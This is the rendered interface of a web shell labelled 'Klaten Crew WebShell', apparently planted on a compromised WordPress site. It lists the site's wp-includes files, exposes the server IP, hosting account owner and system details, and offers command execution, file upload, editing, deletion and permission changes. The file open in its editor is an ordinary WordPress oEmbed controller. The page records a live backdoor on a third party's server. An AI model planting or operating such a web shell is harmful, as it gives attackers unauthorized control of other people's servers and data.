HanJsXploit Klaten Crew
Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
Apache
Server: 167.114.27.228
Your IP: 216.73.217.47
System Info
HOME
home
ipifapor
prosalud.ipifap.org
wp-includes
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-07-30 11:26:59
-
ID3
Folder
-
0755
2024-04-02 23:41:07
IXR
Folder
-
0755
2026-02-11 19:23:04
PHPMailer
Folder
-
0755
2026-02-11 19:14:12
Requests
Folder
-
0755
2023-05-17 11:25:40
SimplePie
Folder
-
0755
2024-11-12 23:50:01
Text
Folder
-
0755
2024-11-12 23:49:39
abilities-api
Folder
-
0755
2025-12-02 23:28:52
ai-client
Folder
-
0755
2026-05-20 23:51:47
assets
Folder
-
0755
2026-05-20 23:52:25
block-bindings
Folder
-
0755
2026-02-11 19:12:24
block-patterns
Folder
-
0755
2026-05-20 23:51:54
block-supports
Folder
-
0755
2026-05-20 23:51:47
blocks
Folder
-
0755
2026-05-20 23:52:15
build
Folder
-
0755
2026-06-14 17:29:30
certificates
Folder
-
0755
2023-05-17 11:25:40
css
Folder
-
0755
2026-05-20 23:51:53
customize
Folder
-
0755
2026-02-13 01:26:12
fonts
Folder
-
0755
2024-04-02 23:40:40
html-api
Folder
-
0755
2026-02-11 19:22:42
images
Folder
-
0755
2026-05-20 23:51:58
interactivity-api
Folder
-
0755
2026-02-11 19:14:28
js
Folder
-
0755
2025-12-02 23:28:31
l10n
Folder
-
0755
2026-02-11 19:13:57
php-ai-client
Folder
-
0755
2026-05-20 23:52:07
php-compat
Folder
-
0755
2023-05-17 11:25:40
pomo
Folder
-
0755
2023-05-17 11:25:40
rest-api
Folder
-
0755
2026-02-11 19:18:21
sitemaps
Folder
-
0755
2023-05-17 11:25:40
sodium_compat
Folder
-
0755
2023-05-17 11:25:40
style-engine
Folder
-
0755
2023-05-17 11:25:40
theme-compat
Folder
-
0755
2026-03-04 00:14:20
widgets
Folder
-
0755
2026-02-11 19:10:31
abilities-api.php
File
23.8 KB
0644
2025-12-02 23:29:08
abilities.php
File
7.82 KB
0644
2026-05-20 23:52:08
admin-bar.php
File
38.39 KB
0644
2026-05-20 23:51:54
ai-client.php
File
2.49 KB
0644
2026-05-20 23:51:55
atomlib.php
File
11.9 KB
0644
2025-12-02 23:29:12
author-template.php
File
19.38 KB
0644
2026-05-20 23:51:46
block-bindings.php
File
7.35 KB
0644
2025-12-02 23:29:06
block-editor.php
File
28.05 KB
0644
2026-05-20 23:51:53
block-i18n.json
File
316 B
0644
2021-08-11 20:38:02
block-patterns.php
File
15.24 KB
0644
2026-05-20 23:52:03
block-template-utils.php
File
61.33 KB
0644
2026-05-20 23:52:06
block-template.php
File
17.83 KB
0644
2026-05-20 23:52:05
blocks.php
File
116.64 KB
0644
2026-05-20 23:52:08
bookmark-template.php
File
12.47 KB
0644
2025-04-15 23:48:16
bookmark.php
File
15.07 KB
0644
2024-07-17 09:51:25
cache-compat.php
File
10.76 KB
0644
2026-05-20 23:52:03
cache.php
File
13.17 KB
0644
2025-12-02 23:29:07
canonical.php
File
33.83 KB
0644
2025-12-02 23:29:06
capabilities.php
File
42.61 KB
0644
2026-05-20 23:52:16
category-template.php
File
55.65 KB
0644
2026-05-20 23:51:54
category.php
File
12.53 KB
0644
2026-05-20 23:51:55
class-IXR.php
File
2.55 KB
0644
2025-04-15 23:48:21
class-avif-info.php
File
29.3 KB
0644
2026-05-20 23:52:03
class-feed.php
File
539 B
0644
2024-11-12 23:49:43
class-http.php
File
367 B
0644
2022-06-17 22:50:14
class-json.php
File
42.65 KB
0644
2025-12-02 23:29:09
class-oembed.php
File
401 B
0644
2022-06-17 22:50:14
class-phpass.php
File
6.61 KB
0644
2024-11-12 23:49:43
class-phpmailer.php
File
664 B
0644
2020-07-22 00:28:02
class-pop3.php
File
20.63 KB
0644
2025-04-15 23:48:11
class-requests.php
File
2.18 KB
0644
2023-08-16 04:29:06
class-simplepie.php
File
453 B
0644
2024-11-12 23:49:41
class-smtp.php
File
457 B
0644
2021-01-27 00:15:58
class-snoopy.php
File
36.83 KB
0644
2023-02-04 00:05:20
class-walker-category-dropdown.php
File
2.41 KB
0644
2023-11-08 02:40:36
class-walker-category.php
File
8.28 KB
0644
2023-11-08 02:40:42
class-walker-comment.php
File
13.89 KB
0644
2024-07-17 09:51:26
class-walker-nav-menu.php
File
11.76 KB
0644
2025-04-15 23:48:11
class-walker-page-dropdown.php
File
2.65 KB
0644
2023-11-08 02:40:36
class-walker-page.php
File
7.43 KB
0644
2023-11-08 02:40:38
class-wp-admin-bar.php
File
17.58 KB
0644
2026-05-20 23:51:57
class-wp-ajax-response.php
File
5.14 KB
0644
2022-09-13 02:17:14
class-wp-application-passwords.php
File
16.7 KB
0644
2025-04-15 23:48:12
class-wp-block-bindings-registry.php
File
8.07 KB
0644
2026-05-20 23:51:48
class-wp-block-bindings-source.php
File
2.92 KB
0644
2024-11-12 23:49:12
class-wp-block-editor-context.php
File
1.32 KB
0644
2022-09-13 02:17:14
class-wp-block-list.php
File
4.6 KB
0644
2025-12-02 23:29:06
class-wp-block-metadata-registry.php
File
11.57 KB
0644
2026-05-20 23:51:58
class-wp-block-parser-block.php
File
2.5 KB
0644
2025-12-02 23:29:07
class-wp-block-parser-frame.php
File
1.95 KB
0644
2026-05-20 23:52:04
class-wp-block-parser.php
File
11.25 KB
0644
2026-05-20 23:51:16
class-wp-block-pattern-categories-registry.php
File
4.28 KB
0644
2026-05-20 23:51:54
class-wp-block-patterns-registry.php
File
10.07 KB
0644
2026-05-20 23:51:47
class-wp-block-processor.php
File
68.32 KB
0644
2026-02-09 15:56:17
class-wp-block-styles-registry.php
File
6.27 KB
0644
2026-05-20 23:51:54
class-wp-block-supports.php
File
6.4 KB
0644
2026-05-20 23:52:00
class-wp-block-template.php
File
1.99 KB
0644
2024-11-12 23:49:12
class-wp-block-templates-registry.php
File
6.91 KB
0644
2026-05-20 23:51:45
class-wp-block-type-registry.php
File
4.91 KB
0644
2025-12-02 23:29:08
class-wp-block-type.php
File
16.83 KB
0644
2026-05-20 23:52:03
class-wp-block.php
File
24.14 KB
0644
2026-05-20 23:51:45
class-wp-classic-to-block-menu-converter.php
File
3.93 KB
0644
2026-05-20 23:52:00
class-wp-comment-query.php
File
47.49 KB
0644
2026-05-20 23:52:08
class-wp-comment.php
File
9.15 KB
0644
2026-05-20 23:51:58
class-wp-connector-registry.php
File
14.07 KB
0644
2026-05-20 23:52:05
class-wp-customize-control.php
File
25.51 KB
0644
2025-12-02 23:28:51
class-wp-customize-manager.php
File
198.13 KB
0644
2026-05-20 23:51:55
class-wp-customize-nav-menus.php
File
56.61 KB
0644
2026-05-20 23:52:06
class-wp-customize-panel.php
File
10.46 KB
0644
2025-04-15 23:48:16
class-wp-customize-section.php
File
10.95 KB
0644
2024-11-12 23:49:40
class-wp-customize-setting.php
File
29.26 KB
0644
2026-05-20 23:52:03
class-wp-customize-widgets.php
File
70.89 KB
0644
2026-05-20 23:52:06
class-wp-date-query.php
File
35.13 KB
0644
2026-05-20 23:51:57
class-wp-dependencies.php
File
16.69 KB
0644
2026-05-20 23:52:03
class-wp-dependency.php
File
2.59 KB
0644
2026-05-20 23:52:04
class-wp-duotone.php
File
39.95 KB
0644
2026-05-20 23:51:59
class-wp-editor.php
File
70.54 KB
0644
2026-05-20 23:51:54
class-wp-embed.php
File
15.54 KB
0644
2026-05-20 23:51:53
class-wp-error.php
File
7.33 KB
0644
2023-02-22 03:09:20
class-wp-exception.php
File
253 B
0644
2024-11-12 23:49:39
class-wp-fatal-error-handler.php
File
7.96 KB
0644
2024-11-12 23:49:39
class-wp-feed-cache-transient.php
File
3.23 KB
0644
2025-12-02 23:29:02
class-wp-feed-cache.php
File
969 B
0644
2024-11-12 23:49:41
class-wp-hook.php
File
16.25 KB
0644
2026-05-20 23:52:00
class-wp-http-cookie.php
File
7.1 KB
0644
2026-05-20 23:52:07
class-wp-http-curl.php
File
12.95 KB
0644
2025-12-02 23:28:52
class-wp-http-encoding.php
File
6.53 KB
0644
2023-08-16 04:29:10
class-wp-http-ixr-client.php
File
3.43 KB
0644
2026-05-20 23:52:03
class-wp-http-proxy.php
File
5.84 KB
0644
2023-08-16 04:28:30
class-wp-http-requests-hooks.php
File
1.97 KB
0644
2022-12-16 08:02:18
class-wp-http-requests-response.php
File
4.14 KB
0644
2026-05-20 23:51:55
class-wp-http-response.php
File
2.91 KB
0644
2022-09-13 02:17:14
class-wp-http-streams.php
File
16.37 KB
0644
2026-05-20 23:51:46
class-wp-http.php
File
40.67 KB
0644
2026-05-20 23:51:58
class-wp-icons-registry.php
File
7.67 KB
0644
2026-05-20 23:52:03
class-wp-image-editor-gd.php
File
20.22 KB
0644
2025-12-02 23:28:53
class-wp-image-editor-imagick.php
File
36.11 KB
0644
2025-12-02 23:29:11
class-wp-image-editor.php
File
17.01 KB
0644
2026-05-20 23:51:59
class-wp-list-util.php
File
7.27 KB
0644
2023-11-08 02:40:11
class-wp-locale-switcher.php
File
6.62 KB
0644
2025-12-02 23:29:06
class-wp-locale.php
File
16.45 KB
0644
2026-05-20 23:51:57
class-wp-matchesmapregex.php
File
1.79 KB
0644
2024-04-02 23:40:52
class-wp-meta-query.php
File
29.79 KB
0644
2026-05-20 23:51:46
class-wp-metadata-lazyloader.php
File
6.67 KB
0644
2023-08-16 04:29:06
class-wp-navigation-fallback.php
File
8.98 KB
0644
2025-12-02 23:29:09
class-wp-network-query.php
File
19.25 KB
0644
2026-05-20 23:52:00
class-wp-network.php
File
12.01 KB
0644
2024-11-12 23:49:33
class-wp-object-cache.php
File
17.11 KB
0644
2025-12-02 23:29:02
class-wp-oembed-controller.php
File
6.74 KB
0644
2024-07-17 09:51:23
class-wp-oembed.php
File
30.86 KB
0644
2026-05-20 23:52:16
class-wp-paused-extensions-storage.php
File
4.95 KB
0644
2026-05-20 23:52:06
class-wp-phpmailer.php
File
4.25 KB
0644
2025-12-02 23:28:52
class-wp-plugin-dependencies.php
File
24.59 KB
0644
2026-05-20 23:52:09
class-wp-post-type.php
File
29.95 KB
0644
2026-05-20 23:52:04
class-wp-post.php
File
6.33 KB
0644
2026-05-20 23:52:03
class-wp-query.php
File
159.6 KB
0644
2026-07-17 19:09:37
class-wp-recovery-mode-cookie-service.php
File
6.72 KB
0644
2022-10-04 14:29:14
class-wp-recovery-mode-email-service.php
File
10.9 KB
0644
2026-05-20 23:51:46
class-wp-recovery-mode-key-service.php
File
4.8 KB
0644
2026-05-20 23:52:01
class-wp-recovery-mode-link-service.php
File
3.44 KB
0644
2026-05-20 23:51:54
class-wp-recovery-mode.php
File
11.18 KB
0644
2025-04-15 23:48:17
class-wp-rewrite.php
File
62.2 KB
0644
2026-05-20 23:52:06
class-wp-role.php
File
2.46 KB
0644
2023-11-08 02:40:36
class-wp-roles.php
File
9.1 KB
0644
2026-05-20 23:52:08
class-wp-script-modules.php
File
39.65 KB
0644
2026-05-20 23:51:48
class-wp-scripts.php
File
35.93 KB
0644
2026-05-20 23:51:59
class-wp-session-tokens.php
File
7.15 KB
0644
2025-04-15 23:48:16
class-wp-simplepie-file.php
File
3.47 KB
0644
2025-12-02 23:28:54
class-wp-simplepie-sanitize-kses.php
File
1.87 KB
0644
2025-04-15 23:48:16
class-wp-site-query.php
File
30.74 KB
0644
2026-05-20 23:52:05
class-wp-site.php
File
7.28 KB
0644
2026-05-20 23:51:59
class-wp-speculation-rules.php
File
7.38 KB
0644
2026-05-20 23:51:55
class-wp-styles.php
File
13.04 KB
0644
2026-05-20 23:51:56
class-wp-tax-query.php
File
19.12 KB
0644
2025-12-02 23:29:08
class-wp-taxonomy.php
File
18.12 KB
0644
2025-04-15 23:48:12
class-wp-term-query.php
File
39.8 KB
0644
2026-05-20 23:51:48
class-wp-term.php
File
5.14 KB
0644
2026-05-20 23:52:05
class-wp-text-diff-renderer-inline.php
File
979 B
0644
2024-04-02 23:40:53
class-wp-text-diff-renderer-table.php
File
18.49 KB
0644
2026-05-20 23:51:57
class-wp-textdomain-registry.php
File
10.24 KB
0644
2024-11-21 23:46:10
class-wp-theme-json-data.php
File
1.77 KB
0644
2024-07-17 09:51:27
class-wp-theme-json-resolver.php
File
34.86 KB
0644
2026-05-20 23:51:54
class-wp-theme-json-schema.php
File
7.19 KB
0644
2024-07-17 09:51:27
class-wp-theme-json.php
File
169.57 KB
0644
2026-05-20 23:52:04
class-wp-theme.php
File
64.22 KB
0644
2026-05-20 23:52:04
class-wp-token-map.php
File
27.95 KB
0644
2024-11-12 23:49:39
class-wp-url-pattern-prefixer.php
File
4.69 KB
0644
2025-04-15 23:48:20
class-wp-user-meta-session-tokens.php
File
2.88 KB
0644
2026-05-20 23:51:55
class-wp-user-query.php
File
43.07 KB
0644
2026-05-20 23:51:53
class-wp-user-request.php
File
2.25 KB
0644
2025-04-15 23:48:20
class-wp-user.php
File
22.48 KB
0644
2026-05-20 23:52:03
class-wp-walker.php
File
13.01 KB
0644
2024-09-10 23:53:14
class-wp-widget-factory.php
File
3.27 KB
0644
2022-09-13 02:17:14
class-wp-widget.php
File
17.99 KB
0644
2026-05-20 23:51:55
class-wp-xmlrpc-server.php
File
209.98 KB
0644
2026-05-20 23:52:00
class-wp.php
File
25.75 KB
0644
2026-05-20 23:51:46
class-wpdb.php
File
115.86 KB
0644
2026-05-20 23:51:48
class.wp-dependencies.php
File
373 B
0644
2022-09-21 00:47:12
class.wp-scripts.php
File
343 B
0644
2022-09-21 00:47:12
class.wp-styles.php
File
338 B
0644
2022-09-21 00:47:12
comment-template.php
File
100.79 KB
0644
2026-05-20 23:52:05
comment.php
File
130.94 KB
0644
2026-05-20 23:52:00
compat-utf8.php
File
19.1 KB
0644
2025-12-02 23:29:10
compat.php
File
15.69 KB
0644
2026-05-20 23:52:04
connectors.php
File
23.52 KB
0644
2026-05-20 23:51:59
cron.php
File
43.94 KB
0644
2026-05-20 23:51:55
date.php
File
400 B
0644
2022-06-17 22:50:14
default-constants.php
File
11.1 KB
0644
2024-11-12 23:49:37
default-filters.php
File
36.54 KB
0644
2026-05-20 23:51:46
default-widgets.php
File
2.24 KB
0644
2025-04-15 23:48:11
deprecated.php
File
189.43 KB
0644
2026-05-20 23:51:46
embed-template.php
File
338 B
0644
2022-06-17 22:50:14
embed.php
File
37.9 KB
0644
2026-07-09 23:55:09
error-protection.php
File
4 KB
0644
2026-05-20 23:52:00
error_log
File
265.26 KB
0644
2026-07-30 07:23:55
feed-atom-comments.php
File
5.38 KB
0644
2024-04-02 23:40:58
feed-atom.php
File
3.05 KB
0644
2025-04-15 23:48:17
feed-rdf.php
File
2.61 KB
0644
2020-01-29 11:15:18
feed-rss.php
File
1.16 KB
0644
2020-01-29 11:15:18
feed-rss2-comments.php
File
4.04 KB
0644
2024-04-02 23:40:20
feed-rss2.php
File
3.71 KB
0644
2020-01-29 11:15:18
feed.php
File
24.6 KB
0644
2026-02-09 15:56:19
fonts.php
File
9.56 KB
0644
2026-05-20 23:52:05
formatting.php
File
346.6 KB
0644
2026-07-09 23:55:08
functions.php
File
283.52 KB
0644
2026-05-20 23:51:46
functions.wp-scripts.php
File
20.01 KB
0644
2026-05-20 23:52:04
functions.wp-styles.php
File
8.45 KB
0644
2026-05-20 23:52:00
general-template.php
File
170.83 KB
0644
2026-05-20 23:52:05
global-styles-and-settings.php
File
20.29 KB
0644
2026-05-20 23:51:54
http.php
File
26.62 KB
0644
2026-05-20 23:52:05
https-detection.php
File
5.72 KB
0644
2025-04-15 23:48:11
https-migration.php
File
4.63 KB
0644
2023-08-16 04:29:08
kses.php
File
81.03 KB
0644
2026-07-09 23:55:09
l10n.php
File
69.74 KB
0644
2026-05-20 23:52:05
link-template.php
File
156.39 KB
0644
2026-05-20 23:51:55
load.php
File
55.15 KB
0644
2026-05-20 23:51:54
locale.php
File
162 B
0644
2019-10-09 03:49:04
media-template.php
File
61.79 KB
0644
2026-05-20 23:51:47
media.php
File
219.66 KB
0644
2026-07-09 23:54:54
meta.php
File
65.17 KB
0644
2026-05-20 23:51:16
ms-blogs.php
File
25.71 KB
0644
2026-05-20 23:52:08
ms-default-constants.php
File
4.81 KB
0644
2024-07-17 09:51:26
ms-default-filters.php
File
6.48 KB
0644
2023-02-24 11:53:20
ms-deprecated.php
File
21.24 KB
0644
2026-05-20 23:51:47
ms-files.php
File
2.79 KB
0644
2025-12-02 23:29:08
ms-functions.php
File
89.69 KB
0644
2025-12-02 23:29:08
ms-load.php
File
19.57 KB
0644
2026-05-20 23:52:00
ms-network.php
File
3.69 KB
0644
2023-08-16 04:28:30
ms-settings.php
File
4.11 KB
0644
2025-12-02 23:29:08
ms-site.php
File
40.75 KB
0644
2026-05-20 23:52:00
nav-menu-template.php
File
25.38 KB
0644
2025-04-15 23:48:20
nav-menu.php
File
43.23 KB
0644
2026-05-20 23:51:47
option.php
File
102.62 KB
0644
2026-05-20 23:51:55
pluggable-deprecated.php
File
6.18 KB
0644
2025-04-15 23:48:21
pluggable.php
File
124.57 KB
0644
2026-05-20 23:51:54
plugin.php
File
35.65 KB
0644
2025-12-02 23:28:53
post-formats.php
File
6.9 KB
0644
2026-05-20 23:52:03
post-template.php
File
67.01 KB
0644
2026-05-20 23:52:01
post-thumbnail-template.php
File
10.62 KB
0644
2025-04-15 23:48:17
post.php
File
289.58 KB
0644
2026-05-20 23:51:57
query.php
File
36.23 KB
0644
2025-12-02 23:29:04
registration-functions.php
File
200 B
0644
2020-11-12 21:47:08
registration.php
File
200 B
0644
2020-11-12 21:47:08
rest-api.php
File
98.84 KB
0644
2026-07-17 19:09:37
revision.php
File
29.99 KB
0644
2026-05-20 23:51:54
rewrite.php
File
19 KB
0644
2026-05-20 23:52:05
robots-template.php
File
5.06 KB
0644
2022-04-07 03:03:04
rss-functions.php
File
255 B
0644
2020-11-17 09:22:06
rss.php
File
22.66 KB
0644
2025-12-02 23:29:09
script-loader.php
File
159.3 KB
0644
2026-05-20 23:52:03
script-modules.php
File
11.66 KB
0644
2026-05-20 23:51:55
session.php
File
258 B
0644
2020-02-06 17:03:12
shortcodes.php
File
23.47 KB
0644
2026-05-20 23:52:00
sitemaps.php
File
3.16 KB
0644
2021-05-16 05:08:06
speculative-loading.php
File
8.4 KB
0644
2025-12-02 23:29:07
spl-autoload-compat.php
File
441 B
0644
2020-11-12 21:47:08
style-engine.php
File
7.39 KB
0644
2024-07-17 09:51:27
taxonomy.php
File
172.99 KB
0644
2026-05-20 23:52:05
template-canvas.php
File
544 B
0644
2023-11-08 02:40:36
template-loader.php
File
4.17 KB
0644
2026-03-11 00:25:12
template.php
File
35.96 KB
0644
2026-05-20 23:52:00
theme-i18n.json
File
1.85 KB
0644
2026-05-20 23:51:16
theme-previews.php
File
2.82 KB
0644
2026-05-20 23:51:46
theme-templates.php
File
3.96 KB
0644
2026-05-20 23:51:46
theme.json
File
8.83 KB
0644
2026-05-20 23:51:46
theme.php
File
131.48 KB
0644
2026-05-20 23:52:08
update.php
File
37.38 KB
0644
2026-05-20 23:51:48
user.php
File
174.63 KB
0644
2026-05-20 23:51:46
utf8.php
File
7.09 KB
0644
2025-12-02 23:29:10
vars.php
File
6.45 KB
0644
2026-05-20 23:51:54
version.php
File
1.08 KB
0644
2026-07-17 19:09:37
view-transitions.php
File
602 B
0644
2026-05-20 23:52:01
widgets.php
File
69.17 KB
0644
2026-05-20 23:51:48
wp-db.php
File
445 B
0644
2022-07-22 10:15:12
wp-diff.php
File
799 B
0644
2025-04-15 23:48:17
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Klaten Crew WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: class-wp-oembed-controller.php
<?php /** * WP_oEmbed_Controller class, used to provide an oEmbed endpoint. * * @package WordPress * @subpackage Embeds * @since 4.4.0 */ /** * oEmbed API endpoint controller. * * Registers the REST API route and delivers the response data. * The output format (XML or JSON) is handled by the REST API. * * @since 4.4.0 */ #[AllowDynamicProperties] final class WP_oEmbed_Controller { /** * Register the oEmbed REST API route. * * @since 4.4.0 */ public function register_routes() { /** * Filters the maxwidth oEmbed parameter. * * @since 4.4.0 * * @param int $maxwidth Maximum allowed width. Default 600. */ $maxwidth = apply_filters( 'oembed_default_width', 600 ); register_rest_route( 'oembed/1.0', '/embed', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => '__return_true', 'args' => array( 'url' => array( 'description' => __( 'The URL of the resource for which to fetch oEmbed data.' ), 'required' => true, 'type' => 'string', 'format' => 'uri', ), 'format' => array( 'default' => 'json', 'sanitize_callback' => 'wp_oembed_ensure_format', ), 'maxwidth' => array( 'default' => $maxwidth, 'sanitize_callback' => 'absint', ), ), ), ) ); register_rest_route( 'oembed/1.0', '/proxy', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_proxy_item' ), 'permission_callback' => array( $this, 'get_proxy_item_permissions_check' ), 'args' => array( 'url' => array( 'description' => __( 'The URL of the resource for which to fetch oEmbed data.' ), 'required' => true, 'type' => 'string', 'format' => 'uri', ), 'format' => array( 'description' => __( 'The oEmbed format to use.' ), 'type' => 'string', 'default' => 'json', 'enum' => array( 'json', 'xml', ), ), 'maxwidth' => array( 'description' => __( 'The maximum width of the embed frame in pixels.' ), 'type' => 'integer', 'default' => $maxwidth, 'sanitize_callback' => 'absint', ), 'maxheight' => array( 'description' => __( 'The maximum height of the embed frame in pixels.' ), 'type' => 'integer', 'sanitize_callback' => 'absint', ), 'discover' => array( 'description' => __( 'Whether to perform an oEmbed discovery request for unsanctioned providers.' ), 'type' => 'boolean', 'default' => true, ), ), ), ) ); } /** * Callback for the embed API endpoint. * * Returns the JSON object for the post. * * @since 4.4.0 * * @param WP_REST_Request $request Full data about the request. * @return array|WP_Error oEmbed response data or WP_Error on failure. */ public function get_item( $request ) { $post_id = url_to_postid( $request['url'] ); /** * Filters the determined post ID. * * @since 4.4.0 * * @param int $post_id The post ID. * @param string $url The requested URL. */ $post_id = apply_filters( 'oembed_request_post_id', $post_id, $request['url'] ); $data = get_oembed_response_data( $post_id, $request['maxwidth'] ); if ( ! $data ) { return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) ); } return $data; } /** * Checks if current user can make a proxy oEmbed request. * * @since 4.8.0 * * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_proxy_item_permissions_check() { if ( ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to make proxied oEmbed requests.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Callback for the proxy API endpoint. * * Returns the JSON object for the proxied item. * * @since 4.8.0 * * @see WP_oEmbed::get_html() * @global WP_Embed $wp_embed WordPress Embed object. * @global WP_Scripts $wp_scripts * * @param WP_REST_Request $request Full data about the request. * @return object|WP_Error oEmbed response data or WP_Error on failure. */ public function get_proxy_item( $request ) { global $wp_embed, $wp_scripts; $args = $request->get_params(); // Serve oEmbed data from cache if set. unset( $args['_wpnonce'] ); $cache_key = 'oembed_' . md5( serialize( $args ) ); $data = get_transient( $cache_key ); if ( ! empty( $data ) ) { return $data; } $url = $request['url']; unset( $args['url'] ); // Copy maxwidth/maxheight to width/height since WP_oEmbed::fetch() uses these arg names. if ( isset( $args['maxwidth'] ) ) { $args['width'] = $args['maxwidth']; } if ( isset( $args['maxheight'] ) ) { $args['height'] = $args['maxheight']; } // Short-circuit process for URLs belonging to the current site. $data = get_oembed_response_data_for_url( $url, $args ); if ( $data ) { return $data; } $data = _wp_oembed_get_object()->get_data( $url, $args ); if ( false === $data ) { // Try using a classic embed, instead. /* @var WP_Embed $wp_embed */ $html = $wp_embed->get_embed_handler_html( $args, $url ); if ( $html ) { // Check if any scripts were enqueued by the shortcode, and include them in the response. $enqueued_scripts = array(); foreach ( $wp_scripts->queue as $script ) { $enqueued_scripts[] = $wp_scripts->registered[ $script ]->src; } return (object) array( 'provider_name' => __( 'Embed Handler' ), 'html' => $html, 'scripts' => $enqueued_scripts, ); } return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) ); } /** This filter is documented in wp-includes/class-wp-oembed.php */ $data->html = apply_filters( 'oembed_result', _wp_oembed_get_object()->data2html( (object) $data, $url ), $url, $args ); /** * Filters the oEmbed TTL value (time to live). * * Similar to the {@see 'oembed_ttl'} filter, but for the REST API * oEmbed proxy endpoint. * * @since 4.8.0 * * @param int $time Time to live (in seconds). * @param string $url The attempted embed URL. * @param array $args An array of embed request arguments. */ $ttl = apply_filters( 'rest_oembed_ttl', DAY_IN_SECONDS, $url, $args ); set_transient( $cache_key, $data, $ttl ); return $data; } }
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64 Software: Apache PHP Version: 8.3.31 Protocol: HTTP/1.1 Server IP: 167.114.27.228 Your IP: 216.73.217.47 Mail: ON Curl: ON Owner: ipifapor MySQL: ON Disabled Functions: All functions are accessible Auto Bypass: ENABLED